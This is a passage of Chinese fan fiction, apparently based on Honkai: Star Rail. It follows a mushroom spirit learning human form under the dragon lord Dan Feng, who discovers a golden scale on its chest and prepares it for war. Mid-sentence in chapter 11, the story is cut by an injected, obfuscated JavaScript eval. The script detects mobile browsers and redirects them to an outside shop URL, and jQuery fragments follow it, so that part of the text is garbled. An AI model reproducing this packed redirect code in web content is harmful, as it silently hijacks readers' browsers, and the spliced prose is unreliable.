他思考着日后应对的措施,它已经学会化形,这次能躲过,下一次遇到其他的威胁怎么办? 幸运不可能次次降临,既然有了人的外形,蒲霖就不可能躲在这里一辈子。把蘑菇本体带出去更有风险,最一劳永逸的方法,就是从根源上剔除潜在的威胁...... 思绪突然被打断。 丹枫感觉有什么东西碰到了他的脚。 “......” 他不用侧过头,闭着眼睛都知道是什么。 床铺的另一侧 蘑菇还真不是故意的,它知道这是一个绝对安全的环境,睡着后就彻底放松了,而且也是真的认为自己的睡姿很好。 因为平时都是睡在小花盆里,里面的土壤能让它稳稳地扎根其中,从来没有一觉睡醒从土里掉出来的情况。 不过谁家植物会睡着睡着从土里掉出来啊。 于是就出现了现在的场景。 闭着眼睛的少年无奈地叹了口气,他坐起身,担心后半夜翻身压到它,干脆用云吟术把蘑菇卷起,准备放到枕边。 床上的枕头也不止一个,丹枫把另一个更小的方形枕头放到与他的枕头齐平的位置。 为了防止这家伙乱滚,他特意把枕头往墙面卡,加上他自己的枕头,刚好在床头位置竖起三面天然的“墙”,剩下没有阻拦的一边就用被子堆高。 完美。 看着自己做好的艺术品,少年丹枫满意地点了点头。 水流把蘑菇小心地放到枕头中央,实心蘑菇刚碰到枕头,质地绵软的表层就凹了下去。 完工后,丹枫也靠回了枕头上,双眼平静地阖上。 三分钟后 “丹枫......” 刚有点睡意的龙尊猛地睁眼:“......” 他以为自己刚才的动作把蘑菇弄醒了,转头看向枕边,视线触及它的瞬间,绷紧的神经又松了下来。 原来是在说梦话。 蘑菇发出断断续续的声音,因为没有意识,音节有些含糊不清,“唔——丹枫...别难过了...都怪那个坏蛋...等我变厉害...呼......” “......” 少年沉默地凝视着蘑菇,被吵醒的那一点燥意消失得无影无踪。 直到蘑菇真正意义上的陷入梦乡,他也听不到任何模糊的呓语后,才缓缓阖眼。 * 丹枫知道自己在做梦。 仿佛时光倒流,他又回到了白日那段与蒲霖面面相觑的记忆。 不同的是,这次他很清醒。 周围的场景都别无二致,坐在他身上的少年、他们交流的内容、细微的小动作、没有改变的神情...... 除了—— 丹枫盯着少年左胸的位置。 与白天不同,即使隔着一层衣袍,这次他也能清晰看见,对方左胸口不知为何正散发着隐约的金光。 他不知道那是什么,那股气息陌生又熟悉,混杂的能力斑驳不堪,丹枫一时说不上来,就像,就像...... 斟酌许久,大脑却突兀地蹦出了一个奇怪的想法。 ——就像他遗失已久,却被保存完好的一部分。 丹枫:?_? 少年丹枫发现自己在想什么后,直接无语了几秒。 不愧是梦,果然半点逻辑都没有。 10. 第 10 章 自从在人类的床铺上睡了一觉,蒲霖发现自己就再也回不去了。 这是它第n次从小花盆里摔醒得出的结论。 不知道多少次,蘑菇被身下硬邦邦的书桌硌醒,冷不丁抬眼发现周遭不同的视野,它被吓得一哆嗦。 迷茫地转着菌盖看了看四周,又扭着菌杆看了看身后的小花盆,它顿时意识到了什么。 恰逢睡意朦胧,蘑菇甩了甩菌盖,便歪歪扭扭地蹦回花盆,过程中还险些踩空。 蘑菇:“......” 人类的床果然有魔力。 而且能化成人形后,蒲霖也对自己的新外形产生了极大的求知欲。 丹枫不在家的时候,它不会轻易地变成人形,万一被其他人注意到就不好了,不但没有满足它的好奇心,还会给丹枫带来麻烦。 它还不怎么习惯人形,但对两人相似的发色与外形很感兴趣。 不过要它从没有脚蹦来蹦去到习惯用两肢走路,还是很麻烦的,所以蘑菇一般也不会想到变成人形。 偶尔在丹枫睡觉的时候,他会悄悄凑到床边,把他的黑发与丹枫的黑发放到一起,好奇地对比两者的区别。 人类为什么要长这么多头发? 唔......丹枫的头发摸起来更柔顺一点,他的手感更偏向毛茸茸? 而且丹枫的头发摸起来冰冰凉凉的,发尾也没有开叉的迹象,比他身体的温度还要低不少,很像流动的粘稠液体,蘑菇差点玩上瘾。 手感这么好,难怪要长这么多头发。 “......你在做什么?” 丹枫一睁眼冷不丁就看见一个人背着光,披头散发的趴在床头,还鬼鬼祟祟地摸他的头发。要不是有那张熟悉的脸撑着,他差点就一个云吟术砸过去了。 “打扰你睡觉啦,我在看你的头发,”蒲霖捏起一缕头发当做手臂摆了摆,半点没有察觉到丹枫语气中的冷意,他小声道。 又好奇地伸手戳了戳少年的皮肤,“好奇怪的手感,跟我之前碰到的感觉完全不一样耶。” 丹枫没有动作,他静静地看着蘑菇研究他和它的新身体。 蒲霖又把自己的手掌轻轻覆到少年的手上,两双肤色白皙的手掌叠在一起, “你看我的手跟你的手差不多大——” 一只肤色偏冷,一只轮廓柔和,皆是五指修长,骨节分明的样子,上面的那只源源不断地传输着热量给下面那只。 丹枫是他见到的唯一一个可以放心触碰的人类,所以他只能找他满足自己的求知欲。 蒲霖又捧着两人的发尾,缠成一束举了起来,“我们的头发颜色也好像,混在一起很难分辨出来到底谁的黑发,好奇怪,为什么我们头发颜色都是黑色呀?” 蒲霖盯着少年苍青色的瞳孔,“你的眼睛是青色,我的却是金色,而且瞳孔形状也不一样。” “你还有漂漂亮亮的龙角和尖耳朵,”蒲霖在自己头上比划了一下,语气有些失落,“我怎么就只有耳朵,没有长角角呢。” 丹枫:“......你是只蘑菇。” 蒲霖玩着丹枫的长发,又给自己劝服了,“是呀,不过是只蘑菇也挺好的,我可以用一天的时间等你回来,可以一直看着你。要是我是人类,那岂不是要忙起来啦?想想又不怎么遗憾了。” “......” 丹枫默不作声地移开视线,略不自然地转移话题,“要是你也长出龙角,有些人就要着急了。” 蒲霖有些好奇,“为什么?长出来不好吗?” “龙角与龙尾只有龙尊能长,而龙尊每代只有一个,从来没有一个仙舟同时出现过两个龙尊的情况。” 蒲霖拉长了声线:“噢——好神奇的种族......” 刚有了人形的少年突然道,“那丹枫,为什么你平时只露出龙角,尾巴不露出来呀?” 丹枫:“...如果留着会很不方便,做一些动作的时候就会非常变扭。” 蘑菇眨了眨眼。 “对耶,比如不能平躺,不能靠椅背太近,”蒲霖掰着手指,说着说着自己反而笑了起来,“平时的衣服还要开个洞,然后遇到危险时就要分出心神保护尾巴,总不能让尾巴也穿衣服嘛。” “嗯?尾巴穿衣服?噗......” 想起后面那种诡异的画面,蒲霖就忍不住自己的笑声。 丹枫:“......” 丹枫扯了扯嘴角。 笑完后蒲霖还是有点可惜,他把下巴搭在胳膊上,歪着头看他,一连串的问题砸了下来:“嗯...那一直收着尾巴会难受吗?尾巴会长到多大呀?尾巴不需要出来透气吗?如果一直不用那以后会不会不知道怎么用尾巴了?” 少年睁着一双圆溜溜的眼睛,好奇地看着他,眼中的求知欲快要溢出来了。 “......” “尾巴需要透气”这种问题大概也就他能问出来了。 这样回答下去要没完没了了。 “睡觉。”丹枫说。 大概是困的不行了,又不想让他一直盯着自己看,那样就完全没有了睡意。 反正床很大,见他依旧对自己的人类身体兴致勃勃的样子,丹枫干脆往里面挪了挪,“明天再说,一起睡吧,变——” 话还没说完,少年就飞速窜了上来,坐好躺下一系列动作利落地堪比他以前逃跑的时候。 一眨眼的功夫已经板板正正地躺好了,他把手规规矩矩地放在两侧,悄咪咪地欢呼一声,“好耶,我上来啦。” “晚安哦,丹枫。” 说完少年就立马闭上了眼,倒头就睡。 ——蘑菇。 话还没说完的丹枫:“......” 从身旁少年爬上来到他软下身子进入梦乡连一分钟都没有超过。 听着少年平稳的呼吸声,丹枫缓缓地打出一个问号。 这种熟悉的吃瘪感是怎么回事? 这家伙大半夜来骚扰他真正的目的,不会是为了变成人形和他一起睡吧。 ......依照这家伙对新形态的好奇,还真有可能。 丹枫幽幽地凝视他,换了任何一个有眼色的人怕是早就顶不住了,可惜这次的对象是实心的,压根感受不到自己周身凝固的空气。 僵持片刻,黑暗中传来一声无奈的叹气声。 丹枫只好起身把身边备用的缎面被子抱过来,叠好的被子被慢慢展开,一点一点地给他盖上,虽然不知道蘑菇会不会着凉,但还是不要尝试为好。 盖好后,他盯着毫无所觉的少年良久。 ——反正内里都是蘑菇,是其他的外形也没有关系,就当他是人形蘑菇吧。 ——而且之前都一起睡过那么多次了,也不差这一次。 ——他都睡着了,也不好把他叫醒。 ...... 成功把自己劝服了的丹枫静静阖眼,坠入梦境。 * 失策。 半夜被热醒的少年幽幽地望着头顶的床幔,他忘了那只蘑菇睡相很差的事情。 他还是规规矩矩地平躺着,而原本离他有将近半尺宽的人现在正死死黏在他的身上。 一只胳膊搭在他的胸膛上,另一只压着他的袖子,连脚也不老实地翘上来,压着他的大腿,呼出的热气都喷到了他的颈窝里。 持明喜好清凉的水流,身上有如此高的热源委实难以承受。 丹枫艰难地移动目光,扫视四周后,还是没有找到原本盖在蒲霖身上的被子,估计是被蒲霖踹到床下去了。 本来他的体温就偏低,现在身上更像压了一个小暖炉,源源不断地向下传输着热量,就像个小怪物一样张牙舞爪地宣示着存在感。 原型是胖嘟嘟的实心蘑菇,变成了人形重量也毫不逊色,沉重地压着他的半边身子,让他动弹不得。 之前再重也只是一只蘑菇,还不及他手掌大,靠着他的时候除了呼吸声,睡觉一点存在感也没有。 现在放大了几十倍,那份存在感就相当明显了。 ——瞬华?。 丹枫眼中青芒绽开,清澈的水流从四周涌现,细细的涓流包裹住少年的四肢,把他整个人缓缓移到原本的位置上。 凉爽的夜风吹了进来,结合着清凉的水流,很快就带走了原先炽热的温度。 得救了。 温度降下来后,丹枫还没重新入睡,正当睡意朦胧之时,突然听见身边传来窸窸窣窣的声音。 他只好又睁眼看去。 少年被水流拉开,似乎依旧陷在梦境里,俊俏的脸上还是迷迷糊糊的样子,手指无意识地在床铺上摸索着,又在左手边摸来摸去。 丹枫看着他一路摸到了他的衣袖,眉头微展。 隔着一层睡衣又摸到了他的手臂,轻轻捏了捏,似乎在确认什么。 少年又转过来抱着他的手臂,把四肢都挨挨挤挤地蹭过来后,才安分下来,不动了。 他似乎还觉得自己是只蘑菇,蹭了半天也没达到自己想要的程度,不满地哼唧了几声才彻底安静下去。 屋内一片寂静,所有的生灵都陷入了沉睡,没有了白日的喧嚣与热闹。 香炉升起袅袅的白烟,又消失在空气里,只能隐约听到另一个人细微的呼吸声。 丹枫长久地盯着他恬静的脸颊,尖耳朵不自然抖了抖。 算了,一只手臂也没什么,想抱就抱着吧。 就在丹枫准备收回目光时,突然有一抹微弱的金光从他的余光里一闪而逝。 丹枫:“?” 他狐疑地转过头,视线重新回到少年身上。 细细打量过后,他发现光源在蘑菇的左胸口。 对丹枫而言,这是一个非常熟悉的位置。 几月前做的梦再次出现在他的脑海。 难道那不只是一场梦? 少年眯起眼,目光探究地看向那块被衣服掩盖住的位置。 他没有偷 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整个过程,他不会直接触碰他的皮肤;若非面临万不得已的紧急事态,他不会向任何人透露看见的一切;若三息内探查不到原因,立刻终止。 在心里过了几遍后,水流才小心翼翼地捻起蒲霖的领口,打算一探究竟。 “......!” 今夜的月光很好,即使没有白日那般明朗的光线,绝佳的视力也让他把一切看的清清楚楚。 ——那是一枚金色鳞片。 本该空无一物的心口,却镶嵌着一枚不过小拇指盖大小的鳞片。 它流转着鎏金的光晕,与血肉皮肤紧密地贴合在一起,一呼一吸间,胸腔的细微起伏都会牵动它周遭的肌肤,却无法撼动它的存在。 最奇妙的是,它似乎在随着心脏的跳动而呼吸,表层流淌过金光的明明灭灭,都无比契合主人心跳的频率。 微弱的金光映照在那双愕然收缩的瞳孔中,也映照出了少年恬静的睡容。 一只蘑菇......怎么会有鳞片? 大脑混乱不堪,丹枫用目光仔细描摹着,再三确认不是自己的幻觉。 而且这枚鳞片的形状...... “......” 不可能的。 在答案脱口而出前,丹枫直接否决了自己荒谬至极的想法。 也许这并不是它本身的产物。 可就算不是它自己的东西,这又会是谁的?如此珍视保护的姿态......鳞片的主人与它又是什么关系?现在又在何方? 面对极其有限,甚至可以称的上贫瘠的线索,再神机妙算的人都会束手无策。 整个过程中,蒲霖都没有醒来。 他呼吸绵长,抱着丹枫的手臂睡的堪称安宁。黑发披散下,清秀的眉眼轻松地舒展开,脸颊一侧的软肉也被压的微微鼓起,泛着熟睡才有的淡粉色。 丹枫垂着眼眸,青色的龙角在被褥上刻画出嶙峋的倒影,如盐粒般洒下的皎洁月色映在少年龙尊的青瞳中,泛着静谧祥和的气息。 僵持半响,他驱使着水流把被子卷起,展开,再给蒲霖重新盖好。顺便把蒲霖直接裹成了一个蚕蛹,他不信这样他还能把被子踢下去。 * 第二天一早。 蒲霖神采奕奕地睁开眼,就遭到了美颜暴击。 少年俊美的脸庞近在咫尺,他闭着眼睛,长而浓密的睫毛在皮肤上投下浅浅的阴影。 薄唇自然的闭合着,碎发也凌乱地散在额头,似乎还没睡醒。 蒲霖眨巴眨巴眼睛,也没有打扰他睡觉,就着略略仰视的角度静静地看着他的脸。在晨曦的映衬下,他的面容被镀上了一层不可直视的圣光。 这张稍显稚嫩的脸上,已经出现了未来独有的威严与尊贵。 几分钟后,蒲霖察觉到丹枫的呼吸节奏出现了变化。 蒲霖知道丹枫要醒了。 电光火石间,蒲霖借着人形干了一件他以前从来没试过的事情。 他向后挪了挪脑袋,主打一个快、准、狠。然后猛地伸手—— 轻轻捏住了丹枫的鼻梁。 做坏事的蒲霖露出了“邪恶”的笑容:0w0 被他一搞猛地清醒过来的丹枫:“......” 丹枫的目光缓缓下移。 蒲霖并没有坚持太久,只是稍微捏了一下就立刻松手了。他与少年对视几息,假装无事发生,“嘿嘿~早上好呀,丹枫。” 丹枫:▼_▼ 他缓缓曲起手指。 “嗷——” 蒲霖捂着额头小小的嚎了一声,其实一点都不疼,丹枫知道自己压根就没用力。 “醒来了就起床吧,”丹枫淡定地越过他翻身下床,只字不提昨夜,“等会儿我会传唤侍女来送早膳。” 蒲霖不揉脑袋了,蒲霖听话地跟在他的身后下了床,像个撒欢的小鸟一样欢快道,“嗯嗯!” 11. 第 11 章 随着时间的流逝,一如丹枫年少时承诺的那样,他的术法日益精湛。同时以不可抵挡的姿态,开始一步一步地抢夺龙师的权柄,直至在龙师会议上拥有完全的话语权。 因为之前发生的意外,蒲霖的性格也愈发谨慎,此后无论丹枫在与不在,它都会提起十二分的警惕。 好在那次意外过后,就再也没有发生过类似的事情。 蘑菇还记得那是一个很平常的日子,他们依旧如往常一样,一起坐在桌边吃饭。 丹枫突然提出要教它习惯人形。 经过了几十年的光阴,蒲霖虽然不清楚本体能力到底加强到什么地步了,但是它变人已经可以自由控制了。 蘑菇早已习惯用原形蹦来蹦去,对它而言,呆在小小的土壤里就已经很满足了。 但是丹枫却有不同的看法。 他在蒲霖面前的说法是,既然要融入人类社会,那么人形在很多方面都会比原形方便不少。 蒲霖也不记得他的原话是什么了,反正他很顺利地说服了蘑菇。 就这样,蒲霖开始了艰难的变人练习,在丹枫老师的帮助下,他进步的相当快。 似乎对于他能不能尽早学会人类行为非常看重,丹枫一改平日里在蘑菇面前好说话的样子,对他的姿势掌控难得的严格,从基本的迈步到体态要求,可谓面面俱到。 “顺拐了。” 柔软的水流在他的四肢周围游走,卷起他的手臂又放下,蒲霖乖顺地像个bjd娃娃似的任由对方摆布,等姿势正确了又开始机械走路。 “背挺直。”丹枫敲敲他的背。 “不要外八。”水流比划比划他的脚。 “姿势太僵硬了,至少得像个人。” ...... 就这样一天天练习下来,每每到了吃饭时间,蒲霖的食量都会明显大增。 太饥饿的情况下,甚至懒得变回蘑菇就直接开始进食了,不过那么多食物下肚,也没见他的肚子有丝毫鼓起。 不知道食物都去哪了。 当然学归学,丹枫也知道劳逸结合,没有把自己当年学习的那套照搬到蘑菇身上,有时见蒲霖前一天练的太累,就让它第二天好好休息。 从四肢不协调到灵活掌握,再到加强体能,蘑菇也没花多少时间。 基本上每次他在练习的时候,丹枫都会抱着手臂在一旁看着,时不时指点一二,到后期就可以放心的在一旁批阅公文了。 有时他也会停下滑动的笔尖,静静地看着少年练习的过程。 在龙尊书桌的一角,堆着许多卷轴与资料,全是有关与化外民户籍相关的资料。 毕竟不可能让它一辈子都躲躲闪闪的,持明族寿命也算不漫长。 朱红的流苏安然垂于耳下,丹枫骨节分明的手指轻点臂弯,但要让蒲霖获得仙舟永久居住证明,堂堂正正地出现在罗浮,还差个契机。 仙舟管控户籍制度严格,伪造身份倒是简单,但是破绽太多,一旦暴露无论对它还是持明都没有好处。更何况蒲霖本身的能力就不容小觑,还不如走另一条路。 他已经准备好了提案的材料,就差一个能体现它价值的契机了。 战争。 从持明收到的情报以及罗浮仙舟最近紧张的气氛,都可以看出局势的动荡。 罗浮开始往各个洞天加派军队,而在宇宙中航行的其余仙舟不时传来不详的讯息,种种迹象表明,那些十几年前被打退的丰饶孽物即将再度卷土重来。 说到战争,不免想起军功。 在如今战争频发的罗浮,军功就是目前最快最有实质意义的佐证。 虽然可能会引起罗浮一些人的注意...... 但按照蒲霖的性格与能力,它迟早会有大放光彩的那天。 他能做的就是帮它扫清暗中的一切阻碍,最基本的一点就是让人形变成它的优势。 当然他也不可能让蘑菇一个人上战场,交给别人更不放心,战场上刀剑无眼,持明暗地里的小动作同样存在。 丹枫摩挲着卷轴的一角,眼尾的赤色为他增添了几分高高在上的神性。 巡猎与丰饶的战争已经卷走了太多人的生命,虽然那位剑首的出现让战局出现了不少转机。 但他们持明族也不能坐以待毙了。 饮月君想起他前些日子提交给将军府的请求公文,晦暗不明的瞳孔里倒映着少年无忧无虑的身影。 准备好迎接战争到来了吗,蒲霖。 * 某天丹枫突然问了蘑菇一个奇怪的问题。 “蒲霖,你变成人形的时候,身上的服饰可以改变吗?” 蘑菇早就可以走的像个人了,正在应丹枫要求加强体能与闪避训练,闻言少年停下动作,扯了扯自己白色的袍子。 “当然可以,这个只是我随便捏出来的,它可以随我的心意来变化噢。” 丹枫颔首。 “如果不介意,最好换个款式,” 丹枫目光从少年身上款式明显与仙舟格格不入的衣服上扫过,“若是去外界,这件衣服在罗浮会比较显眼。” 比较都是收敛了的说法。 这件白色的袍子延续了蘑菇本体的不起眼,就是只有一件简单的布料从头套进身体的感觉,而且脚踝手腕什么的都裸露在外。 不提大众审美问题,它的防御性似乎也不怎么高,不适合上战场。 蒲霖当然没有意见,自从他的菌丝能看见很大一片区域的景色后,衣服款式什么的早就尽收眼底了。 之前没想过换只是单纯的没有考虑而已。 “当然不介意,我来试试看能不能换个款式......” 说着,少年微阖双眼,神情也平静下来。 他没有做任何动作,渐渐的,无数晶莹的丝线自他身上出现,它们散发着幽幽的微光,如灵蛇般覆盖住他的全身,形成一个莹白的茧。 光芒仿佛在呼吸,一明一暗交错着闪烁。 男人青瞳里倒映着那些萤火般微弱的白光,神情莫测。 他觉得这个场景有些眼熟。 似乎与他平日里伪装时...... 来不及思索完,少年清脆的声音就打破了这一室的寂静。 “将将——我换好啦!这件怎么样?是不是比原来那件好多了?” 他抬起双臂,在原地转了一圈,力求全方位展示给对方看。 饮月君眸光微闪,细细打量起眼前的少年。 这件衣服的款式偏向持明族,与蒲霖平时穿的完全不一样。 黑色与灰色交织的布料,灰色下摆里是两条笔直的黑色长裤,外层披着流沙质感的外套,肩膀布料偏硬,下面连着两只透明的衣袂,撑起了少年挺拔的腰背,自肩膀往下绣着水墨的丹顶鹤纹路。 长筒靴包裹着他的小腿,让他整个人显得愈发干净利落。 只有黑发没有发生变化,依旧如瀑布般垂于脑后。 “很好看。” 丹枫毫不吝啬地给出了夸奖。 蒲霖的嘴角立刻高高翘起,那弧度都可以挂油瓶了。 “不试着改变一下你的发型?” “唔......”蒲霖有些犹豫。 “我看到大多是女孩子有长发,但她们的发型肯定不适合我现在的性别,”蒲霖踌躇道,“也不是没有长发的男孩子,但我觉得他们的发型不怎么好看......” 倒不是持明审美问题或者蒲霖特立独行。 丹枫对这种事的原因再清楚不过,蒲霖一直生活的洞天是持明人口最密集的区域,持明高层大多偏守旧,风格自然不如罗浮三族生活地区那般多样化。 “没关系,待日后离开这里,你就会看到很多有趣的东西,” 他挽起少年垂下的一缕黑发,于指节间轻捻几下,“在这之前,我先给你换个更合适的发型吧。” 蒲霖抬着头看他,俨然一副期待的模样。 “好哦!” ...... 最后出现在镜子里的,是一个精神气十足的少年郎。 最引人注目的是那双璀璨的金瞳,两侧的碎发柔和了少年脸侧的轮廓,黑发被精致的玉冠高高挽起扎在脑后,这是仙舟现时最流行的发型,不得不说龙尊大人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16743408|189760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是非常紧跟潮流的。 再搭配上新衣服,活脱脱是一个意气风发,鲜衣怒马的少年。 蒲霖自己都看的目不转睛,他小心地摸了摸新发型,生怕弄乱,便揪着衣袍在落地镜前转了好几圈。 人靠衣装佛靠金装,他的样貌与气质本就出挑,如今又配上了合适的装扮,整个人可以说是焕然一新。 龙尊大人抱臂站在一旁,眼里亦有惊艳一闪而过。 看着少年臭美似的在镜子面前照来照去,他也跟着勾起唇角,等对方兴奋的劲头消去一些,才徐徐开口,“可知我为什么要让你换个模样么?” “嗯?对哦,为什么呀?” 蘑菇如他所想的问了出来,他转过脑袋,澄澈的眼里满是疑惑。 他不再捣鼓手中的衣服,转而开始认真听对方讲话。 “记得之前说过,联盟与丰饶之间的纠葛恩怨吗?”丹枫抚过少年柔软的碎发,整理着措辞,“距离上一场战争不过寥寥十几年,那些丰饶孽物即将再度来犯,作为盟友,持明自然不能置身事外,所以我也准备前往战场......” 话音未落,蒲霖已经敏锐地捕捉到了关键,他立刻伸手表态,生怕晚一点点就不带自己了。 “我也要去!” 虽然早知不需费什么口舌就能达到目的,丹枫还是有点惊讶他的反应,他挑眉道,“这么果断?” “嘿嘿~” 鸦黑的睫毛忽闪忽闪,蒲霖眉眼弯弯,嘴角翘起,整个人都透露着一股快乐的气息。 “书上说战争是很危险的东西,尤其是人类,特别容易受伤,我已经变成厉害的蘑菇了,自然要保护好丹枫呀。” 蒲霖对龙尊大人的印象还停留在那个“任人摆布”的少年时期。 倒不是没有见过他不怒自威的模样,但蒲霖有很强的滤镜,足以固化他的认知。 在他躲躲藏藏的那段时光里,丹枫也跟他讲过一些缘由,再加上蘑菇自己运用特殊能力获得的碎片化消息,他下意识觉得,丹枫是需要保护的存在。 即便他经常会看到丹枫在训练场上那些愈发势如破竹,令人胆寒的攻击,也没有动摇过心中最开始的念头。在他看来,强大与需要保护并不冲突。 无论过去多久,相隔多远,他的承诺都不会食言。 “......” 丹枫哑然。 多年前的那个意外再次闪过他的记忆,那天之后,少年于他耳畔做出承诺的画面依旧历历在目。 他低声喃喃:“原来你还记得......” 现在他已经足够强大,不必再顾忌他人,但看着蒲霖透亮的眼眸,丹枫说不清心里是什么感受,好像有什么东西要溢出来了。 “什么?” 刚刚说话的声音实在太低,几乎是只动了动嘴唇的程度,蘑菇又分神了一瞬,他歪头凑近想听清楚一些。 “......没什么,” 记得的人又何止少年一个,丹枫捏了捏蒲霖凑过来的脸,软乎乎的手感极好,“确实想要你与我同去,不过是为了获取仙舟永久居住证明。” “永久证明?” 蒲霖眨了眨眼,“那是什么?我不能住在这里了吗?” 蘑菇虽然已经习惯了人形,但他从来没有考虑过这些问题,在他看来,只要能吃饱睡好有个阴暗潮湿的角落就很好了。 “永久居住证明有更大用处,” 丹枫知道什么东西能吸引蘑菇,也能更好地解释给他听,他一一挑着举例,“有军功可以更快的获得居住证明,有证明就可以自由往返罗浮的大部分区域,享受基本的教育医疗等服务,不用一直在这里呆着。” “而且罗浮仙舟的美食及景点都是几个仙舟里最拔尖的,比如金人巷就是宇宙间数一数二的美食街,即便这里还有战乱,每年依旧有源源不断的化外民慕名而来。” “但无论有无所谓的证明,这里都是你可以来去自如的地方,只是为了长远考虑,”丹枫眉眼温和,像初春的第一缕清风,“蒲霖的未来,一定不会拘泥于这片方寸之地。” 蘑菇的眼睛刷的一下亮了。 12. 第 12 章 “那我需要做什么准备吗?” 蘑菇摩拳擦掌,看起来已经做好随时上战场的准备了。 “就像你之前说的那样,战争不是儿戏,它非常危险。”丹枫知道蒲霖没有亲历过战争,他曲起手指,轻轻敲了敲少年光洁的额头,“接下来的内容你要记好。” “好哦。” 蘑菇捂着额头,丹枫有刻意收力道,少年被敲了也不疼,只是收敛了过于兴奋的情绪,认真地准备听课。 接下来几天里,针对战场的分析,从罗浮云骑现况到丰饶孽物情报,从仙舟武备到星神命途,丹枫都讲它们一一碾碎了讲给少年听。 过去不是没有提起过类似的内容,但大多非常碎片化,缺乏系统性,就会难以消化。 现在就方便很多了,蒲霖如果有什么听不懂的地方都可以一次性提出来。 “宇宙无垠,再强大的存在放在星神眼里都如尘埃般渺小,我们所在的联盟追随帝弓司命——岚,除此之外还有17位星神......” “普通人之上,便是命途行者,再往上就是令使,有时还被称作星神的代言使徒。” “那丹枫也是令使吗?” “不,我离令使还差得远,即便有持明龙尊的身份,以我一人之力,对上任何一位命途的令使恐怕都全无胜算。令使的诞生需要蒙受星神恩赐,而龙祖早已消失在宇宙间,疑似陨落......” 随着蒲霖开始学习书面知识,他们也去了专门的场地训练蒲霖的能力。丹枫知道他潜力无穷,那么在他们上战场前,他能爆发出的力量自然是越多越好。 仙舟找不到丰饶孽物当做练习对象,但蘑菇面前就有一个现成的大杀器。 虽然丹枫的术法与蒲霖的完全八竿子打不着,一个是驭水的神明,一个是奇特的异兽。 但作为持明族历来最强的龙尊之一,他还是可以指导一二的,尤其是在身法上,武力值高强的丹枫就是一个很好的老师。 就像之前认字时表现出来的聪颖,蘑菇的悟性很好,平日里就一直把自己的能力用在日常生活中,又经过几个月系统性的特训,少年如今的战斗力可以说是天差地别。 这些日子的训练达标后,丹枫便作为考官,让蒲霖跟他认认真真地打一场。 * 空旷的训练场两端分别站着一个人,一高一矮,矮的那个已经褪去了闲适的外袍,神情专注地望着自己的敌人。 晴朗的天空逐渐乌云密布,宛如灾厄的午夜。即使那人已有所收敛,但受到不朽力量感召,黑云中已是电闪雷鸣,阴霾重重。 男人神情漠然,他一手背在身后,另一只手托举着缓缓转动的重渊珠,墨发随风而动。 四周的空气开始嗡鸣,身后快速出现一个个金色的光点,又围成一个大型的阵法,无数水流幻化而成的利刃从中疾射而出。 狂风吹动着少年的发丝,看似雪白孱弱的菌丝追随主人意志凝聚成一个巨大的盾牌,锋利的流水触及其中,立刻像被吞噬般融入其中,消失不见。 接下来的几十分钟内,无数水流从四面八方袭来,它们时而宛如利刃,时而纤长灵活,时而如一头狂蟒...... 各路攻势不一,不枉蒲霖那些日子的艰苦训练,他成功拦下了所有攻击。 ...... 不知过了多久,水流似乎有停缓之势。 就在少年以为结束时,汇聚而成的水龙卷骤然拔地而起! 狂风在他周身怒吼,毫无规则地在水流之间冲撞,巨大的水幕自四周包围住少年,潜藏的龙影在水幕中游动。 水柱自丹枫脚下形成,将他抬至半空,避开了地面所有可能的攻击。而自始至终,丹枫的身上都没有粘上一滴水珠。 巨大的水龙在丹枫身后凝聚成形,空气中徒然安静了一瞬。 “吼——!” 狂风肆虐,青龙仅头颅就有少年身体两倍大小,它咆哮着朝地面的蘑菇疾冲而来。 随着青色的水龙一起裹挟着的,是足以翻天覆地的巨浪洪流,它们以万钧之势倾泻而下。 陆地上就剩一只风中凌乱的蘑菇。 蒲霖:(??Δ??) 这是什么招式哇—— 蘑菇试图用菌丝升起屏障,但它很明显无法阻挡水流的攻势,几秒后就被无情冲破。 蘑菇大惊失色:“!!!” 蘑菇麻了,蘑菇转身就想跑,但是退路已经被水幕截断了。 “救——咕噜咕噜咕噜......” 少年“砰”的一声被龙头怼进了水里,周身的空气立刻被海水淹没,眼看要掉进深不见底的海里,刚呛了一口水又被水龙顶到嘴吻上。似乎是担心少年从嘴吻上滑落,青龙掂了掂少年,换成叼着腰部的姿势破水而出。 “咳咳咳......” 乌云散去,明媚的阳光重见天日,一同重见天日的还有龙嘴巴里软趴趴的一条。 蘑菇知道水龙不会伤害自己,任由自己四肢软绵绵地下垂,像面条似的在空中直晃悠。 他整个人都蔫吧蔫吧地被龙叼在嘴里,打湿的黑发披在脑后,仿佛魂都没了一条。 “还好吗?要不要去换身衣服?” 丹枫命令水流退去,接住仿佛四肢无力的少年后,扯过一旁的大毛巾给他擦了擦头发。 少年打起了些许精神,他慢吞吞地抬头,突然伸手打了个响指。 无数透明的菌丝剥壳似的从他的身上褪下,就像破茧而出的蝴蝶一样。 除了还在滴水的头发,蒲霖身上的衣服也和丹枫身上的祭司服一样滴水不沾。 蘑菇的身体褪去了湿意,精气神似乎也回归了不少。 他站稳脚跟后凑到丹枫面前,神神秘秘地说起了悄悄话,“我刚刚发现,我的菌丝可以隔绝水流,如果我把脸部也覆上菌丝,那么我掉进水中也暂时不会淹死的。” “暂时?”丹枫捋了捋少年被水流冲的乱七八糟的长发,顺着他的话问道,“那怎么不覆上?” “不是有你在嘛。”蘑菇仰着头,从毛巾下边偷偷看他,金色的眼睛里有恶作剧得逞的笑意闪过。 头上那只帮他擦干头发的手似乎轻微地加重了力道,很快又回到了平常的程度。 蘑菇突然抬头瞅他,“丹枫,你刚刚是不是笑了?” “没有。” “骗菇,明明就有。” 蒲霖与丹枫对视片刻,发觉对方瞳孔里某个顶着鸡窝头的狼狈身影,笑点低的蘑菇率先没忍住。 少年清脆的笑声回荡在空旷的训练场,旁边的枫树亦落下了簌簌叶片。 褪去了水流后,地面早就惨不忍睹,裂纹与碎石遍地都是,再上好的材质也经不起这俩人的力道,更何况练习是持续多日的。 看来这一次训练结束又要拨钱重新修缮了。 丹枫无奈地叹了口气。 